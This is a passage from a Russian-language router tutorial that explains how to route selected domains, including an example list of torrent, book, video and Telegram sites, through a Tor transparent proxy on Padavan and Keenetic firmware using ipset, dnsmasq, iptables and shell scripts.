###Пример разблокировки по IP (убрать # в начале строки)
#195.82.146.214
###Пример разблокировки по CIDR (убрать # в начале строки)
#103.21.244.0/22
###Пример разблокировки по диапазону (убрать # в начале строки)
#100.100.100.200-100.100.100.210
```
После редактирования этого файла вы просто выполняете команду для применения новой конфигурации:
```
unblock_update.sh
```
Все ресурсы из unblock.txt разблокируются без необходимости перезагружать маршрутизатор.
Принцип работы
==============
* При инициализации маршрутизатора создаётся пустое множество IP-адресов ipset с именем unblock.
* В брандмауэр добавляется правило перенаправления всех пакетов с адресатами из unblock в сервис Tor.
* Запускается сервис Tor в режиме прозрачного прокси.
* Запускается специальный скрипт unblock\_ipset.sh, который резолвит все домены из unblock.txt и добавляет их IP-адреса в множество unblock. IP-адреса, диапазоны и CIDR из этого файла тоже добавляются в unblock.
* Запускается dnsmasq с дополнительным конфигурационным файлом unblock.dnsmasq, в котором указано добавление IP-адресов доменов из unblock.txt в множество unblock при резолвинге.
* cron с определенной периодичностью запускает unblock\_ipset.sh, чтобы частично компенсировать возможные случаи с нюансами.
* При необходимости все домены из unblock.txt (и только они) резолвятся через dnscrypt-proxy, если провайдер фильтрует DNS.
Настройка маршрутизатора с прошивкой Padavan
============================================
У вас должен быть маршрутизатор с установленной прошивкой Padavan и уже настроенным менеджером пакетов Entware. В Windows для подключения подключения к маршрутизатору по SSH вы можете использовать клиент [PuTTY](https://www.putty.org/).
Убедитесь, что у вас используется Entware, а не устаревший Entware-ng. Посмотрите содержимое папки /opt/var/opkg-lists. Там будет присутствовать файл entware или entware-ng. Во втором случае вам нужно обновить прошивку Padavan вашего маршрутизатора до последней версии и заново установить менеджер пакетов Entware. Только после этого приступайте к пошаговой инструкции.
Как показали отзывы, в основном проблемы возникают у тех, у кого Entware настроен неверно изначально (т.е. не загружаются скрипты из init.d) во внутренней памяти маршрутизатора. Если у вас Xiaomi Mi Router 3 или 3G, и вы не уверены, что Entware во внутренней памяти у вас работает корректно (автоматический запуск), то просто всё настройте заново. Берёте PROMETHEUS. Обновляет скрипт (1). Обновляете исходный код (2). Собираете и прошиваете самую актуальную прошивку (4). Сбрасываете настройки прошивки (NVRAM и хранилище файлов) — Дополнительно > Администрирование > Настройки. Настраиваете доступ в Интернет на маршрутизаторе и включаете SSH. Выполняете в PROMETHEUS Firmware > Форматирование RWFS. Выбираете Дополнительно > Администрирование > Настройки > Монтировать файловую систему в R/W раздел > UBIFS. Перезагрузите маршрутизатор. Все актуальные скрипты запускаа Entware из внутренней памяти будут прописаны автоматически, и всё будет работать как часы.
Для тестов я использовал популярный Xiaomi Mi Router 3G (Entware установлен во внутреннюю память) с самой свежей прошивкой — 32a93db. Всё будет работать даже на легендарном малыше WT3020 AD/F/H за 10$.
### 1. Установка необходимого ПО на маршрутизаторе
```
opkg update
opkg install mc tor tor-geoip bind-dig cron
```
**mc** — файловый менеджер Midnight Commander. Он нужен лишь из-за удобного редактора mcedit. Если вы привыкли пользоваться другим текстовым редактором, то mc можно не устанавливать.
**tor** — сервис Tor.
**tor-geoip** — база гео-IP для Tor.
**bind-dig** — DNS-клиент (аналог nslookup и host).
**cron** — планировщик заданий.
### 2. Инициализация ipset, создание множества IP-адресов unblock (start\_script.sh)
Подключите необходимые модули и создайте пустое множество адресов с именем **unblock** при загрузке маршрутизатора. Для этого откройте в редакторе файл **/etc/storage/start\_script.sh**:
```
mcedit /etc/storage/start_script.sh
```
Добавьте в конце:
```
modprobe ip_set
modprobe ip_set_hash_ip
modprobe ip_set_hash_net
modprobe ip_set_bitmap_ip
modprobe ip_set_list_set
modprobe xt_set
ipset create unblock hash:net
```
Чтобы вставить из буфера, используйте Shift+Insert, сохранить — F2, выйти — F10.
При желании вы можете отредактировать файл start\_script.sh через веб-интерфейс маршрутизатора — «Дополнительно» > «Персонализация» > «Скрипты» > «Выполнить перед инициализацией маршрутизатора». После редактирования нажмите «Применить».
### 3. Настройка Tor
Удалите содержимое конфигурационного файла Tor:
```
cat /dev/null > /opt/etc/tor/torrc
```
Откройте файл конфигурации Tor:
```
mcedit /opt/etc/tor/torrc
```
Вставьте (Shift+Insert) содержимое:
```
User admin
PidFile /opt/var/run/tor.pid
ExcludeExitNodes {RU},{UA},{AM},{KG},{BY}
StrictNodes 1
TransPort 192.168.0.1:9141
ExitRelay 0
ExitPolicy reject *:*
ExitPolicy reject6 *:*
GeoIPFile /opt/share/tor/geoip
GeoIPv6File /opt/share/tor/geoip6
DataDirectory /opt/var/lib/tor
```
Замените при необходимости **192.168.0.1** на внутренний адрес вашего маршрутизатора (LAN). Краткое описание конфигурации:
* Исключить выходные узлы: Россия, Украина, Армения Киргизия, Беларусь.
* Повесить «прозрачный» прокси на адрес 192.168.0.1, порт 9141.
* Запретить быть точкой выхода.
### 4. Список доменов (и не только) для обхода блокировки (unblock.txt)
unblock.txt — простой список для разблокировки. Вы можете разблокировать домен, IP-адрес, диапазон или CIDR. Одна строка — один элемент. Пустые строки (в том числе с пробелами и табуляциями) игнорируются. Можно использовать символ # в начале строки для игнорирования.
Создайте файл **/opt/etc/unblock.txt**:
```
mcedit /opt/etc/unblock.txt
```
Каждая строка может содержать доменное имя, IP-адрес, диапазон или CIDR. Можно использовать символ # для комментирования строк.
**Вот пример моего личного файла**
```
###Торрент-трекеры
rutracker.org
rutor.info
rutor.is
mega-tor.org
kinozal.tv
nnm-club.me
nnm-club.ws
tfile.me
tfile-home.org
tfile1.cc
megatfile.cc
megapeer.org
megapeer.ru
tapochek.net
tparser.org
tparser.me
rustorka.com
uniongang.tv
fast-torrent.ru
###Каталоги медиаконтента для программ
rezka.ag
hdrezka.ag
hdrezka.me
filmix.co
filmix.cc
seasonvar.ru
###Книги
lib.rus.ec
flibusta.is
flibs.me
flisland.net
flibusta.site
###Телеграм
telegram.org
tdesktop.com
tdesktop.org
tdesktop.info
tdesktop.net
telesco.pe
telegram.dog
telegram.me
t.me
telegra.ph
web.telegram.org
desktop.telegram.org
updates.tdesktop.com
venus.web.telegram.org
flora.web.telegram.org
vesta.web.telegram.org
pluto.web.telegram.org
aurora.web.telegram.org
149.154.160.0/20
91.108.4.0/22
91.108.8.0/22
91.108.12.0/22
91.108.16.0/22
91.108.56.0/22
109.239.140.0/24
67.198.55.0/24
###Разное
7-zip.org
edem.tv
4pna.com
2019.vote
###Проверка Tor
check.torproject.org
###Пример разблокировки по IP (убрать # в начале строки)
#195.82.146.214
###Пример разблокировки по CIDR (убрать # в начале строки)
#103.21.244.0/22
###Пример разблокировки по диапазону (убрать # в начале строки)
#100.100.100.200-100.100.100.210
```
### 5. Скрипт для заполнения множества unblock IP-адресами заданного списка доменов (unblock\_ipset.sh)
Создайте скрипт **/opt/bin/unblock\_ipset.sh**:
```
mcedit /opt/bin/unblock_ipset.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
until ADDRS=$(dig +short google.com @localhost) && [ -n "$ADDRS" ] > /dev/null 2>&1; do sleep 5; done
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
cidr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/[0-9]{1,2}')
if [ ! -z "$cidr" ]; then
ipset -exist add unblock $cidr
continue
fi
range=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}-[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$range" ]; then
ipset -exist add unblock $range
continue
fi
addr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$addr" ]; then
ipset -exist add unblock $addr
continue
fi
dig +short $line @localhost | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{system("ipset -exist add unblock "$1)}'
done < /opt/etc/unblock.txt
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_ipset.sh
```
Скрипт достаточно простой, вот суть его работы… Ждём, когда заработает резолвинг домена google.com (если этого не сделать, то при загрузке маршрутизатора не будет заполнено множество unblock, т.к. маршрутизатор будет находиться ещё в процессе инициализации). Читаем строки в файле unblock.txt. У прочитанных строк автоматически удалены пробелы и табуляция в начале и в конце. Пропускаем пустые строки. Пропускаем строки, которые начинают на символ #. Ищем в строке CIDR. Если CIDR найден, то добавляем его в unblock. Ищем в строке диапазон. Если он найден, то добавляем его в unblock. Ищем в строке IP-адрес. Если IP найден, то добавляем его в unblock. Резолвим строку через dig. Все IP-адреса результата добавляем в unblock.
### 6. Скрипт для формирования дополнительного конфигурационного файла dnsmasq из заданного списка доменов (unblock\_dnsmasq.sh)
Создайте скрипт **/opt/bin/unblock\_dnsmasq.sh**:
```
mcedit /opt/bin/unblock_dnsmasq.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
cat /dev/null > /opt/etc/unblock.dnsmasq
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
echo $line | grep -Eq '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' && continue
echo "ipset=/$line/unblock" >> /opt/etc/unblock.dnsmasq
done < /opt/etc/unblock.txt
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_dnsmasq.sh
```
Скрипт достаточно простой, вот суть его работы… Последовательно читаем строки из /opt/etc/unblock.txt. У прочитанных строк автоматически удалены пробелы и табуляция в начале и в конце. Пропускаем пустые строки. Пропускаем строки, которые начинают на #. Пропускаем строки, которые содержат IP-адрес (IP, диапазон, CIDR), т.е. нас интересуют только строки с именами доменов. В файл /opt/etc/unblock.dnsmasq вносим строки вида «ipset=/доменное\_имя/unblock». Это означает, что после определения IP-адресов конкретного домена они будут автоматически добавлены во множество unblock.
Обязательно запустите скрипт для генерация файла unblock.dnsmasq:
```
unblock_dnsmasq.sh
```
Проверьте, что файл unblock.dnsmasq создался:
```
cat /opt/etc/unblock.dnsmasq
```
### 7. Скрипт ручного принудительного обновления системы после редактирования списка доменов (unblock\_update.sh)
Создайте скрипт **/opt/bin/unblock\_update.sh**:
```
mcedit /opt/bin/unblock_update.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
ipset flush unblock
/opt/bin/unblock_dnsmasq.sh
restart_dhcpd
sleep 3
/opt/bin/unblock_ipset.sh &
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_update.sh
```
### 8. Скрипт автоматического заполнения множества unblock при загрузке маршрутизатора (S99unblock)
Создайте скрипт **/opt/etc/init.d/S99unblock**:
```
mcedit /opt/etc/init.d/S99unblock
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
[ "$1" != "start" ] && exit 0
/opt/bin/unblock_ipset.sh &
```
Дайте права на исполнение:
```
chmod +x /opt/etc/init.d/S99unblock
```
### 9. Перенаправление пакетов с адресатами из unblock в Tor (post\_iptables\_script.sh)
Откройте в редакторе файл **/etc/storage/post\_iptables\_script.sh**:
```
mcedit /etc/storage/post_iptables_script.sh
```
Добавьте в конце:
```
iptables -t nat -A PREROUTING -i br0 -p tcp -m set --match-set unblock dst -j REDIRECT --to-port 9141
```
При желании вы можете отредактировать файл post\_iptables\_script.sh через веб-интерфейс маршрутизатора — «Дополнительно» > «Персонализация» > «Скрипты» > «Выполнить после перезапуска правил брандмауэра». После редактирования нажмите «Применить».
В этот же файл вы можете добавить (это необязательно) перенаправление всех запросов на внешний порт 53 на себя. Это нужно, чтобы клиенты в локальной сети не использовали сторонние DNS-сервисы. Запросы будут идти через штатный DNS-сервер.
```
iptables -t nat -I PREROUTING -i br0 -p udp --dport 53 -j DNAT --to 192.168.0.1
iptables -t nat -I PREROUTING -i br0 -p tcp --dport 53 -j DNAT --to 192.168.0.1
```
Замените при необходимости **192.168.0.1** на внутренний адрес вашего маршрутизатора (LAN).
### 10. Подключение дополнительного конфигурационного файла к dnsmasq
Нам необходимо подключить созданный файл unblock.dnsmasq к dnsmasq. Для этого откройте в редакторе файл **/etc/storage/dnsmasq/dnsmasq.conf**:
```
mcedit /etc/storage/dnsmasq/dnsmasq.conf
```
Добавьте в конце:
```
conf-file=/opt/etc/unblock.dnsmasq
```
Если хотите (это необязательно), можете добавить дополнительный сервер для резолвинга и надёжности:
```
server=8.8.8.8
```
При желании вы можете отредактировать файл dnsmasq.conf через веб-интерфейс маршрутизатора — «Дополнительно» > «LAN» > «DHCP-сервер» > «Пользовательский файл конфигурации dnsmasq.conf». После редактирования нажмите «Применить».
### 11. Добавление задачи в cron для периодического обновления содержимого множества unblock
Это дополнительная страховка на тот случай, если программы/устройства используют свой собственный метод резолвинга, а IP-адрес домена изменился. Всё, что нужно сделать, это с желаемой периодичностью запускать скрипт unblock\_ipset.sh. Для примера будем запускать каждый день в 6 утра.
Замените в файле конфигурации cron имя root на admin:
```
sed -i 's/root/admin/g' /opt/etc/crontab
```
Откройте в редакторе файл **/opt/etc/crontab**:
```
mcedit /opt/etc/crontab
```
Добавьте в конце:
```
00 06 * * * admin /opt/bin/unblock_ipset.sh
```
При желании вы можете закомментировать все остальные шаблонные задачи. Вот, как будет выглядеть ваш файл crontab:
### 12. Перезагрузка маршрутизатора
Выполните команду:
```
reboot
```
После перезагрузки откройте в браузере сайт check.torproject.org (он должен быть добавлен в unblock.txt). Если вы всё сделали верно, то вы увидите надпись «Congratulations. This browser is configured to use Tor.»:
Настройка маршрутизатора с Keenetic OS
======================================
У вас должен быть маршрутизатор Keenetic/Zyxel с уже настроенным менеджером пакетов Entware (OPKG). Например, вот список некоторых маршрутизаторов, которые поддерживают Entware: Keenetic II, Keenetic III, Extra, Extra II, Giga II, Giga III, Omni, Omni II, Viva, Ultra, Ultra II, Omni (KN-1410), Extra (KN-1710), Giga (KN-1010), Ultra (KN-1810), Viva (KN-1910), DSL (KN-2010), Duo (KN-2110). Инструкцию по настройке Entware можно посмотреть [тут](https://help.keenetic.com/hc/ru/articles/360000264829-%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-%D0%B8-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-OPKG-%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%B0-rTorrent) (до 10 пункта).
Если ранее (с прошивкой младше 2.07) вы уже добавляли поддержку Entware, то убедитесь, что у вас [используется не устаревший Entware-ng](https://forum.keenetic.net/topic/4223-entware-3x-%D0%B8-entware-ng-%D0%BE%D0%B1%D1%8A%D0%B5%D0%B4%D0%B8%D0%BD%D0%B8%D0%BB%D0%B8%D1%81%D1%8C-%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82-%D0%BD%D0%B0%D0%B7%D1%8B%D0%B2%D0%B0%D0%B5%D1%82%D1%81%D1%8F-%D0%BF%D1%80%D0%BE%D1%81%D1%82%D0%BE-entware/).
Обязательно включите «Модули ядра подсистемы Netfilter» — Общие настройки > Изменить набор компонентов. Если его нет в списке доступных, то пробуйте установить сначала компонент «Протокол IPv6». Если после этого не появляется, то пробуйте без него, но высокая вероятность, что у вас не будет работать разблокировка по диапазону и CIDR (т.к. не будет поддержки множества hash:net).
Для тестов я использовал Keenetic Ultra (KN-1810) с самой свежей прошивкой — 2.14.C.0.0-4.
Важное замечание. Вам придётся отключить штатный DNS-сервер в системе, мы будем использовать dnsmasq вместо него. Вы потеряете возможность назначать DNS-сервисы (Яндекс.DNS/SkyDNS/AdGuard DNS) индивидуально для клиентов, но без проблем сможете использовать их глобально через настройки dnsmasq при необходимости.
### 1. Установка необходимого ПО на маршрутизаторе
```
opkg update
opkg install mc tor tor-geoip bind-dig cron dnsmasq-full ipset iptables
```
**mc** — файловый менеджер Midnight Commander. Он нужен лишь из-за удобного редактора mcedit. Если вы привыкли пользоваться другим текстовым редактором, то mc можно не устанавливать.
**tor** — сервис Tor.
**tor-geoip** — база гео-IP для Tor.
**bind-dig** — DNS-клиент (аналог nslookup и host).
**cron** — планировщик заданий.
**dnsmasq-full** — DNS-сервер.
**ipset и iptables** — консольные утилиты ipset и iptables (возможно, они уже есть в системе и не нужны, я добавил их для подстраховки).
### 2. Инициализация ipset, создание множества IP-адресов unblock (100-ipset.sh)
Проверьте, что в системе вашего маршрутизатора есть поддержка множества hash:net (как оказалась, не во всех маршрутизаторах Keenetic она есть):
```
ipset create test hash:net
```
Если команда никаких ошибок и сообщений не выдала, значит поддержка есть, и просто следуйте инструкции дальше. В противном случае (есть ошибка) в следующем скрипте вам нужно заменить **hash:net** на **hash:ip**. При этом вы потеряете возможность разблокировки по диапазону и CIDR.
Создайте пустое множество адресов с именем **unblock** при загрузке маршрутизатора. Для этого создайте файл **/opt/etc/ndm/fs.d/100-ipset.sh**:
```
mcedit /opt/etc/ndm/fs.d/100-ipset.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
[ "$1" != "start" ] && exit 0
ipset create unblock hash:net -exist
exit 0
```
Чтобы вставить из буфера, используйте Shift+Insert, сохранить — F2, выйти — F10.
Дайте права на исполнение:
```
chmod +x /opt/etc/ndm/fs.d/100-ipset.sh
```
### 3. Настройка Tor
Удалите содержимое конфигурационного файла Tor:
```
cat /dev/null > /opt/etc/tor/torrc
```
Откройте файл конфигурации Tor:
```
mcedit /opt/etc/tor/torrc
```
Вставьте (Shift+Insert) содержимое:
```
User root
PidFile /opt/var/run/tor.pid
ExcludeExitNodes {RU},{UA},{AM},{KG},{BY}
StrictNodes 1
TransPort 192.168.0.1:9141
ExitRelay 0
ExitPolicy reject *:*
ExitPolicy reject6 *:*
GeoIPFile /opt/share/tor/geoip
GeoIPv6File /opt/share/tor/geoip6
DataDirectory /opt/var/lib/tor
```
Замените при необходимости **192.168.0.1** на внутренний адрес вашего маршрутизатора (LAN). Краткое описание конфигурации:
* Исключить выходные узлы: Россия, Украина, Армения Киргизия, Беларусь.
* Повесить «прозрачный» прокси на адрес 192.168.0.1, порт 9141.
* Запретить быть точкой выхода.
### 4. Список доменов (и не только) для обхода блокировки (unblock.txt)
unblock.txt — простой список для разблокировки. Вы можете разблокировать домен, IP-адрес, диапазон или CIDR. Одна строка — один элемент. Пустые строки (в том числе с пробелами и табуляциями) игнорируются. Можно использовать символ # в начале строки для игнорирования.
Создайте файл **/opt/etc/unblock.txt**:
```
mcedit /opt/etc/unblock.txt
```
Каждая строка может содержать доменное имя, IP-адрес, диапазон или CIDR. Можно использовать символ # для комментирования строк.
**Вот пример моего личного файла**
```
###Торрент-трекеры
rutracker.org
rutor.info
rutor.is
mega-tor.org
kinozal.tv
nnm-club.me
nnm-club.ws
tfile.me
tfile-home.org
tfile1.cc
megatfile.cc
megapeer.org
megapeer.ru
tapochek.net
tparser.org
tparser.me
rustorka.com
uniongang.tv
fast-torrent.ru
###Каталоги медиаконтента для программ
rezka.ag
hdrezka.ag
hdrezka.me
filmix.co
filmix.cc
seasonvar.ru
###Книги
lib.rus.ec
flibusta.is
flibs.me
flisland.net
flibusta.site
###Телеграм
telegram.org
tdesktop.com
tdesktop.org
tdesktop.info
tdesktop.net
telesco.pe
telegram.dog
telegram.me
t.me
telegra.ph
web.telegram.org
desktop.telegram.org
updates.tdesktop.com
venus.web.telegram.org
flora.web.telegram.org
vesta.web.telegram.org
pluto.web.telegram.org
aurora.web.telegram.org
149.154.160.0/20
91.108.4.0/22
91.108.8.0/22
91.108.12.0/22
91.108.16.0/22
91.108.56.0/22
109.239.140.0/24
67.198.55.0/24
###Разное
7-zip.org
edem.tv
4pna.com
2019.vote
###Проверка Tor
check.torproject.org
###Пример разблокировки по IP (убрать # в начале строки)
#195.82.146.214
###Пример разблокировки по CIDR (убрать # в начале строки)
#103.21.244.0/22
###Пример разблокировки по диапазону (убрать # в начале строки)
#100.100.100.200-100.100.100.210
```
### 5. Скрипт для заполнения множества unblock IP-адресами заданного списка доменов (unblock\_ipset.sh)
Создайте скрипт **/opt/bin/unblock\_ipset.sh**:
```
mcedit /opt/bin/unblock_ipset.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
until ADDRS=$(dig +short google.com @localhost) && [ -n "$ADDRS" ] > /dev/null 2>&1; do sleep 5; done
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
cidr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/[0-9]{1,2}')
if [ ! -z "$cidr" ]; then
ipset -exist add unblock $cidr
continue
fi
range=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}-[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$range" ]; then
ipset -exist add unblock $range
continue
fi
addr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$addr" ]; then
ipset -exist add unblock $addr
continue
fi
dig +short $line @localhost | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{system("ipset -exist add unblock "$1)}'
done < /opt/etc/unblock.txt
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_ipset.sh
```
Скрипт достаточно простой, вот суть его работы… Ждём, когда заработает резолвинг домена google.com (если этого не сделать, то при загрузке маршрутизатора не будет заполнено множество unblock, т.к. маршрутизатор будет находиться ещё в процессе инициализации). Читаем строки в файле unblock.txt. У прочитанных строк автоматически удалены пробелы и табуляция в начале и в конце. Пропускаем пустые строки. Пропускаем строки, которые начинают на символ #. Ищем в строке CIDR. Если CIDR найден, то добавляем его в unblock. Ищем в строке диапазон. Если он найден, то добавляем его в unblock. Ищем в строке IP-адрес. Если IP найден, то добавляем его в unblock. Резолвим строку через dig. Все IP-адреса результата добавляем в unblock.
### 6. Скрипт для формирования дополнительного конфигурационного файла dnsmasq из заданного списка доменов (unblock\_dnsmasq.sh)
Создайте скрипт **/opt/bin/unblock\_dnsmasq.sh**:
```
mcedit /opt/bin/unblock_dnsmasq.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
cat /dev/null > /opt/etc/unblock.dnsmasq
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
echo $line | grep -Eq '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' && continue
echo "ipset=/$line/unblock" >> /opt/etc/unblock.dnsmasq
done < /opt/etc/unblock.txt
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_dnsmasq.sh
```
Скрипт достаточно простой. Последовательно читаем строки из /opt/etc/unblock.txt. У прочитанных строк автоматически удалены пробелы и табуляция в начале и в конце. Пропускаем пустые строки. Пропускаем строки, которые начинают на #. Пропускаем строки, которые содержат IP-адрес (IP или CIDR), т.е. нас интересуют только строки с именами доменов. В файл /opt/etc/unblock.dnsmasq вносим строки вида «ipset=/доменное\_имя/unblock». Это означает, что после определения IP-адресов конкретного домена они будут автоматически добавлены во множество unblock.
Обязательно запустите скрипт для генерация файла unblock.dnsmasq:
```
unblock_dnsmasq.sh
```
Проверьте, что файл unblock.dnsmasq создался:
```
cat /opt/etc/unblock.dnsmasq
```
### 7. Скрипт ручного принудительного обновления системы после редактирования списка доменов (unblock\_update.sh)
Создайте скрипт **/opt/bin/unblock\_update.sh**:
```
mcedit /opt/bin/unblock_update.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
ipset flush unblock
/opt/bin/unblock_dnsmasq.sh
/opt/etc/init.d/S56dnsmasq restart
/opt/bin/unblock_ipset.sh &
```
Дайте права на исполнение:
```
chmod +x /opt/bin/unblock_update.sh
```
### 8. Скрипт автоматического заполнения множества unblock при загрузке маршрутизатора (S99unblock)
Создайте скрипт **/opt/etc/init.d/S99unblock**:
```
mcedit /opt/etc/init.d/S99unblock
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
[ "$1" != "start" ] && exit 0
/opt/bin/unblock_ipset.sh &
```
Дайте права на исполнение:
```
chmod +x /opt/etc/init.d/S99unblock
```
### 9. Перенаправление пакетов с адресатами из unblock в Tor (100-redirect.sh)
Для этого создайте файл **/opt/etc/ndm/netfilter.d/100-redirect.sh**:
```
mcedit /opt/etc/ndm/netfilter.d/100-redirect.sh
```
Вставьте (Shift+Insert) содержимое:
```
#!/bin/sh
[ "$type" == "ip6tables" ] && exit 0
if [ -z "$(iptables-save 2>/dev/null | grep unblock)" ]; then
ipset create unblock hash:net -exist
iptables -w -t nat -A PREROUTING -i br0 -p tcp -m set --match-set unblock dst -j REDIRECT --to-port 9141
fi
exit 0
```
Если вы в шаге 2 использовали **hash:ip**, а не **hash:net**, то замените hash:net на hash:ip. Фактически мы дополнительно дублируем функцию создания множества unblock из 2 шага. Это нужно для подстраховки, если скрипты из fs.d ещё не начали запускаться, а скрипты netfilter.d уже запускаются. Ничего страшного, если unblock уже было создано ранее, команда просто будет проигнорирована.
В этот же файл вы можете добавить (это необязательно) перенаправление всех запросов на внешний порт 53 на себя. Это нужно, чтобы клиенты в локальной сети не использовали сторонние DNS-сервисы. Запросы будут идти через штатный DNS-сервер. Перед последним exit добавьте:
```
if [ -z "$(iptables-save 2>/dev/null | grep "udp \-\-dport 53 \-j DNAT")" ]; then
iptables -w -t nat -I PREROUTING -i br0 -p udp --dport 53 -j DNAT --to 192.168.0.1
fi
if [ -z "$(iptables-save 2>/dev/null | grep "tcp \-\-dport 53 \-j DNAT")" ]; then
iptables -w -t nat -I PREROUTING -i br0 -p tcp --dport 53 -j DNAT --to 192.168.0.1
fi
```
Замените при необходимости **192.168.0.1** на внутренний адрес вашего маршрутизатора (LAN).
Дайте права на исполнение:
```
chmod +x /opt/etc/ndm/netfilter.d/100-redirect.sh
```
### 10. Настройка dnsmasq и подключение дополнительного конфигурационного файла к dnsmasq
Удалите содержимое конфигурационного файла dnsmasq:
```
cat /dev/null > /opt/etc/dnsmasq.conf
```
Откройте файл конфигурации dnsmasq:
```
mcedit /opt/etc/dnsmasq.conf
```
Вставьте (Shift+Insert) содержимое:
```
user=nobody
bogus-priv
no-negcache
clear-on-reload
bind-dynamic
listen-address=192.168.0.1
listen-address=127.0.0.1
min-port=4096
cache-size=1536
expand-hosts
log-async
conf-file=/opt/etc/unblock.dnsmasq
server=8.8.8.8
```
Замените при необходимости **192.168.0.1** на внутренний адрес вашего маршрутизатора (LAN).
### 11. Добавление задачи в cron для периодического обновления содержимого множества unblock
Это дополнительная страховка на тот случай, если программы/устройства используют свой собственный метод резолвинга, а IP-адрес домена изменился. Всё, что нужно сделать, это с желаемой периодичностью запускать скрипт unblock\_ipset.sh. Для примера будем запускать каждый день в 6 утра.
Откройте в редакторе файл **/opt/etc/crontab**:
```
mcedit /opt/etc/crontab
```
Добавьте в конце:
```
00 06 * * * root /opt/bin/unblock_ipset.sh
```
При желании вы можете закомментировать все остальные шаблонные задачи. Вот, как будет выглядеть ваш файл crontab:
### 12. Отключение штатного DNS-сервера и перезагрузка маршрутизатора
Подключитесь к [CLI маршрутизатора Keenetic](https://help.keenetic.com/hc/ru/articles/213965889-%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B9-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8-CLI-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82-%D1%86%D0%B5%D0%BD%D1%82%D1%80%D0%B0) (порт 23 для Telnet и 22 для SSH, если в системе добавлен компонент «Сервер SSH»).
Выполните команду:
```
opkg dns-override
system configuration save
system reboot
```
Встроенный в прошивку DNS-сервер будет выключен, и вместо него будет использоваться dnsmasq из состава Entware. Маршрутизатор при загрузке проверяет, подмонтирована ли папка opt (есть ли флешка/диск с Entware). Если есть, то штатный DNS-сервер не используется. Если нет, используется. Т.е. вынув флешку и перезагрузив маршрутизатор, у вас всё будет работать, как и раньше (перед настройкой).
После перезагрузки откройте в браузере сайт check.torproject.org (он должен быть добавлен в unblock.txt). Если вы всё сделали верно, то вы увидите надпись «Congratulations. This browser is configured to use Tor.»:
Основные методы диагностики ошибок после настройки
==================================================
Если проверка с сайтом check.torproject.org (он должен быть добавлен в unblock.txt) проходит, но для других ресурсов продолжает открываться заглушка от провайдера (или не открываются), скорее всего, провайдер вмешивается в DNS-трафик, подменяя ответы — вам нужно сделать дополнительный обход фильтрации DNS-запросов.
Если после настройки что-то работает не так, как нужно, используйте простые команды для определения проблемного этапа.
Отобразите содержимое множества unblock:
```
ipset list unblock
```
Если система сообщит, что такого множества нет, то ошибка на этапе 2 или вы не включили модуль Netfilter в системе (в случае с Keenetic).
Если множество окажется пустым, то не отработал скрипт unblock\_ipset.sh, который в свою очередь должен быть запущен стартовым скриптом S99unblock. Запустите этот скрипт unblock\_ipset.sh вручную. Если множество заполнилось, то ошибка на этапе 8. Если скрипт не может выполниться (скорее всего, ожидает резолвинга google.com), то ошибка где-то на стороне DNS-сервера, возможно, на этапе 10 или 6.
Проверьте наличие редиректа в iptables:
```
iptables-save 2>/dev/null | grep unblock
```
Если его нет, то ошибка на этапе 9.
Если вообще все сайты не работают, т.е. не работает DNS, ошибка где-то в этапе 6 или 10. Возможно, на этапе 9.
Если все сайты из unblock.txt не работают (превышено время ожидания), но все другие работают, то проблема где-то на стороне Tor, ошибка на этапе 3.
